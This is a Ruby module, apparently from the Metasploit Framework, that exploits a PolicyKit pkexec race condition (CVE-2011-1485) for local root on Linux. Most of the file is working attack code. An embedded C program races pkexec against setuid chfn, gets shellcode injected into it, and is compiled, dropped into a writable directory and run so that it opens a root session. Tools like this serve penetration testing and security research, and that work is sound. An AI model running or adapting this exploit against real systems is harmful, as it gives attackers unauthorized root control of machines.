metasploit-framework/modules/exploits/linux/local/pkexec.rb

379 lines
11 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Project
#
require 'msf/core/exploit/local/linux'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::Local::Linux
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux PolicyKit Race Condition Privilege Escalation',
'Description' => %q(
A race condition flaw was found in the PolicyKit pkexec utility and polkitd
daemon. A local user could use this flaw to appear as a privileged user to
pkexec, allowing them to execute arbitrary commands as root by running
those commands with pkexec.
Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
(10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
),
'License' => MSF_LICENSE,
'Author' =>
[
'xi4oyu', # exploit
'0a29406d9794e4f9b30b3c5d6702c708' # metasploit module
],
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2011-1485' ],
[ 'EDB', '17942' ],
[ 'OSVDB', '72261' ]
],
'DisclosureDate' => "Apr 01 2011"
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
])
end
def executable_path
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
@executable_path
end
def check
# version can be nil
version = cmd_exec('pkexec --version').split.last
# version can be a string, so we check it
if version.nil? || !Gem::Version.correct?(version)
vprint_error('pkexec not found or version incorrect')
return CheckCode::Unknown
end
if Gem::Version.new(version) <= Gem::Version.new('0.101')
vprint_good("pkexec #{version} found")
return CheckCode::Appears
end
CheckCode::Detected
end
def exploit
main = %q^
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
* U can reach us @ http://www.wooyun.org :)
* 0a2940: some changes
*/
/*
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
*/
#define dprintf
#define NULL ((void*)0)
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define O_CREAT 64
#define O_RDWR 2
#define POLLRDNORM 0x0040
typedef int __pid_t;
typedef int __time_t;
typedef
struct {
long __val[2];
} __quad_t;
typedef __quad_t __dev_t;
typedef long __ino_t;
typedef unsigned long __mode_t;
typedef long __nlink_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef long long __off_t;
typedef long __blksize_t;
typedef long long __blkcnt_t;
struct _stat_buff {
__dev_t st_dev; /* Device. */
unsigned short int __pad1;
__ino_t st_ino; /* File serial number. */
__mode_t st_mode; /* File mode. */
__nlink_t st_nlink; /* Link count. */
__uid_t st_uid; /* User ID of the file's owner. */
__gid_t st_gid; /* Group ID of the file's group.*/
__dev_t st_rdev; /* Device number, if device. */
unsigned short int __pad2;
__off_t st_size; /* Size of file, in bytes. */
__blksize_t st_blksize; /* Optimal block size for I/O. */
__blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */
__time_t st_atime; /* Time of last access. */
unsigned long int st_atimensec; /* Nscecs of last access. */
__time_t st_mtime; /* Time of last modification. */
unsigned long int st_mtimensec; /* Nsecs of last modification. */
__time_t st_ctime; /* Time of last status change. */
unsigned long int st_ctimensec; /* Nsecs of last status change. */
unsigned long int __unused4;
unsigned long int __unused5;
};
struct _pollfd {
int fd; /* file descriptor */
short events; /* requested events */
short revents; /* returned events */
};
typedef unsigned long size_t;
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
extern void exit(int __status);
extern int printf(const char *__format, ...);
extern __pid_t fork(void);
extern __time_t time(__time_t *t);
extern __pid_t getpid(void);
extern __uid_t geteuid(void);
extern void srand(unsigned int seed);
extern int snprintf(char *str, size_t size, const char *format, ...);
extern int pipe(int pipefd[2]);
extern int close(int fd);
extern void write(int fd, const void *buf, size_t count);
extern int dup2(int oldfd, int newfd);
extern void perror(const char *__s);
extern void read(int fd, void *buf, size_t count);
extern int execve(const char *filename, char *const argv[], char *const envp);
extern int usleep(int usec);
extern void *memset(void *s, int c, size_t n);
extern void *memcpy(void * dst, const void *src, size_t n);
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
extern char *strstr(const char *haystack, const char *needle);
extern int rand(void);
extern int unlink(const char *__name);
int main(int argc,char *argv[], char ** envp)
{
__time_t tim_seed1;
__pid_t pid_seed2;
int result;
struct _stat_buff stat_buff;
char * chfn_path = "/usr/bin/chfn";
char * cmd_path = "";
char * pkexec_argv[] = {
"/usr/bin/pkexec",
"/bin/sh",
"-c",
cmd_path,
NULL
};
int pipe1[2];
int pipe2[2];
int pipe3[2];
__pid_t pid,pid2 ;
char * chfn_argv[] = {
"/usr/bin/chfn",
NULL
};
char buff[8];
char read_buff[4096];
char real_path[512];
int count = 0;
int flag = 0;
unsigned int usleep1 = 0;
unsigned int usleep2 = 0;
tim_seed1 = time(NULL);
pid_seed2 = getpid();
srand(tim_seed1+pid_seed2);
if(!geteuid()){
unlink(cmd_path);
SHELLCODE
int shellcode_size = 0;
int i;
unsigned long (*func)();
func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
dprintf("Copying %d bytes of shellcode\n", shellcode_size);
//for (i = 0; i < shellcode_size; i++) {
//(char)func[i] = (char)shellcode[i];
memcpy(func,shellcode,shellcode_size);
//}
dprintf("Forking before calling shellcode: 0x%p\n", func);
if (fork()) {
exit(0);
}
func();
}
if(pipe(pipe1)){
perror("pipe");
exit(-2);
}
for(count = COUNT; count && !flag; count--){
dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
pid = fork();
if( !pid ){
// Parent
if( !pipe(pipe2)){
if(!pipe(pipe3)){
pid2 = fork();
if(!pid2){
// Parent 2
close(1);
close(2);
close(pipe1[0]);
dup2(pipe1[1],2);
dup2(pipe1[1],1);
close(pipe1[1]);
close(pipe2[0]);
close(pipe3[1]);
write(pipe2[1],"\xFF",1);
read(pipe3[0],&buff,1);
execve(pkexec_argv[0],pkexec_argv,envp);
perror("execve pkexec");
exit(-3);
}
close(0);
close(1);
close(2);
close(pipe2[1]);
close(pipe3[0]);
read(pipe2[0],&buff,1);
write(pipe3[1],"\xFF",1);
usleep(usleep1+usleep2);
execve(chfn_argv[0],chfn_argv,envp);
perror("execve setuid");
exit(1);
}
}
perror("pipe3");
exit(1);
}
//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
memset(pipe3,0,8);
struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
pollfd->fd = pipe1[0];
pollfd->events = POLLRDNORM;
if(poll(pollfd,1,1000) < 0){
perror("poll");
exit(1);
}
if(pollfd->revents & POLLRDNORM ){
memset(read_buff,0,4096);
read(pipe1[0],read_buff,4095);
if( strstr(read_buff,"does not match")){
usleep1 += 100;
usleep2 = rand() % 1000;
}else{
if(usleep1 > 0){
usleep1 -= 100;
}
}
}
}
result = 0;
unlink(cmd_path);
return result;
}
^
main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
main.gsub!(/COUNT/, datastore["Count"].to_s)
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT']
cpu = nil
if target['Arch'] == ARCH_X86
cpu = Metasm::Ia32.new
elsif target['Arch'] == ARCH_X64
cpu = Metasm::X86_64.new
end
begin
elf = Metasm::ELF.compile_c(cpu, main).encode_string
rescue
print_error "Metasm Encoding failed: #{$ERROR_INFO}"
elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
return
end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| vprint_status(line.chomp) }
stime = Time.now.to_f
print_status "Starting the payload handler..."
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
end
end